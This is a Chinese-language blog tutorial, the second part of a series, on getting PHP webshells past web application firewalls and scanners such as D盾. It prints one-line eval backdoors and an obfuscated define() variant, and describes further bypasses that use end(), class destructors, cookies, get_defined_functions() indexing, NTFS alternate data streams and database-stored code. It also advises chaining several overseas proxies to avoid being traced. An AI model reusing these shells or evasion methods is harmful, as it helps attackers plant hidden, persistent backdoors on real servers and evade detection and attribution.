waf绕过下

waf绕过下_第1张图片
上篇说的是
bapass SQL绕过

这篇说的是“webshell绕过”

演示一句话木马
然后菜刀连接。
可以用某狗来扫描一下,发现马。
waf绕过下_第2张图片
如果放了webshell,担心因为请求的原因被查到ip,那我们可以多挂几层代理。
(在海外跳3、4次,基本查不到)

加入我们写入了webshell,但是被waf拦截了

waf绕过下_第3张图片

我们这篇,就是来说怎么来绕waf(防火墙)

waf绕过下_第4张图片
waf拦截我们,她的检测机制不单单是一些特定字符,而是特定字符组合起来
像我们的一句话木马

<?php eval($_REQUEST['a']);?>

不会拦截eval,也不会拦截$_REQUEST[]
而是要他们组合起来 eval($_REQUEST[]),才会拦截

而REQUEST只是一个数组。

waf绕过下_第5张图片
而我们不在REQUEST后面加上中括号,就不会拦截,那我们有没有其他东西代替这个中括号的东西呢
waf绕过下_第6张图片
但是eval里面执行的东西,必须是个字符串,不能是个数组,
那可以用end函数来代替中括号,
waf绕过下_第7张图片
waf绕过下_第8张图片
然后我们一执行,发现居然绕过了waf。
waf绕过下_第9张图片
这个时候,waf就扫不出来了
waf绕过下_第10张图片
常见的webshell方法。
waf绕过下_第11张图片

绕过其一

<?php define("a","$_REQUEST[a]");eval(a);?>

waf绕过下_第12张图片

绕过其二

waf绕过下_第13张图片
waf绕过下_第14张图片
waf还是没有扫描出来
waf绕过下_第15张图片

绕过其三

waf绕过下_第16张图片
waf绕过下_第17张图片

绕过其四

最前面是一个类,里面的方法是执行完就销毁,
把name的值赋值给变量this
新建一个类叫变量user
然后name的值为$_REQUEST[1]。再把name的值赋值给变量this,最后执行这个函数
waf绕过下_第18张图片
扫描一下,未发现风险
waf绕过下_第19张图片
正常执行
waf绕过下_第20张图片

绕过其五

waf绕过下_第21张图片
没有拦截
waf绕过下_第22张图片
cookie设置值
waf绕过下_第23张图片
成功绕过waf
在这里插入图片描述

绕过其六

waf绕过下_第24张图片

<?php 
$a=get_defined_functions();
var_dump($a);
?>

get_defined_functions()这个函数返回一个叫internal的函数,
这个internal的函数的函数包含所有的php函数,然后有1364个

waf绕过下_第25张图片
我们根据上面的提示,internal的这个函数,里面有键值,0对应zend_version函数
在这里插入图片描述

那我们就输出internal函数里的第0个函数

<?php 
$a=get_defined_functions();
var_dump($a[internal][0]);
?>

成功输出
waf绕过下_第26张图片
写入shell
在这里插入图片描述
执行成功
waf绕过下_第27张图片

题外话,绕D盾

被D盾拦截
waf绕过下_第28张图片
我们价格if判断就绕过了

waf绕过下_第29张图片
而我们要做的就是改下请求头
waf绕过下_第30张图片
然后一样的出来了
在这里插入图片描述

番外

waf绕过下_第31张图片
用NTFS文件流隐写

在这里插入图片描述
回到目录,啥也看不出来
waf绕过下_第32张图片

然后我们再用一个php文件,去包含这个一句话木马文件。
waf绕过下_第33张图片

waf绕过下_第34张图片

但是这种方法,只能window使用,linux不行

这种方法dir也查不出来。
waf绕过下_第35张图片

终极绕过waf方法

waf绕过下_第36张图片
D盾没有拦截
waf绕过下_第37张图片

从结果集中取一行
waf绕过下_第38张图片
info表的info字段(键)
waf绕过下_第39张图片
选中键(字段)
waf绕过下_第40张图片
执行成功
waf绕过下_第41张图片

你可能感兴趣的:(笔记,waf)